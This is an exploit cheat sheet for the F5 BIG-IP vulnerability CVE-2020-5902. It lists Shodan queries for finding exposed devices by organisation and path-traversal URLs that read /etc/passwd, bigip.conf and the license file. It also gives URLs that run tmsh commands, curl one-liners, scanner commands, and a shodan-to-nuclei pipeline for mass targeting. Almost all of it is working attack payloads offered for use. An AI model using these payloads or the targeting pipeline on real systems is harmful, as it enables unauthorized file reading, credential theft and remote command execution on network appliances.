🚨BIGIP CVE-2020-5902 Exploit POC 🔥🧱🔨👀

Shodan Seaarch

title:"Big-IP&reg;" org:"Organization Name"
http.title:"BIG-IP&reg;- Redirect" org:"Organization Name"
http.favicon.hash:-335242539 "3992" org:"Organization Name"

🔸LFI

https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/tmp

https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release

https://{host}/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp

https://{host}/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa

https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license

https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf

https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/

🔸RCE 💦

https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=whoami

https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

🎯 Manuel POC 🔥

curl -sk 'https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

curl -sk 'https://{IP}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

curl -sk 'https://{host}/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=Vulnerable' | grep -q Vulnerable && printf '\033[0;31mVulnerable\n' || printf '\033[0;32mNot Vulnerable\n'

📜 Nuclei Detect CVE-2020-5902

https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/CVE-2020-5902.yaml

nuclei -t ~/tool/nuclei/nuclei-templates/cves/CVE-2020-5902.yaml -l https.txt

🧱🔨 Jaeles Detect CVE-2020-5902 🔋

https://github.com/jaeles-project/jaeles-signatures/blob/master/common/bigip-cve-2020-5902.yaml

jaeles scan -s bigip-cve-2020-5902.yaml -U https_url.txt

🔎 NMAP Script for CVE-2020-5902

wget https://raw.githubusercontent.com/RootUp/PersonalStuff/master/http-vuln-cve2020-5902.nse

nmap -p443 {IP} --script=http-vuln-cve2020-5902.nse

🚩CVE-2020-5902 Scanner Python Script

⭐️🚩 https://github.com/jas502n/CVE-2020-5902

https://github.com/dunderhay/CVE-2020-5902

https://github.com/aqhmal/CVE-2020-5902-Scanner

🌐 Online BIG-IP F5 CVE-2020-5902 Checker

- 🤷‍♂️ Note: Not Safe(it may be collecting information in the background.)

http://threatintel.xyz/F5checker.php

💡 Automate Find CVE-2020-5902 🔎

https://medium.com/@dwi.siswanto98/weaponizes-nuclei-workflows-to-pwn-all-the-things-cd01223feb77

shodan search org:"Target" http.favicon.hash:-335242539 --fields ip_str,port --separator " " | awk '{print $1":"$2}' | httprobe | nuclei -t workflows/bigip-pwner-workflow.yaml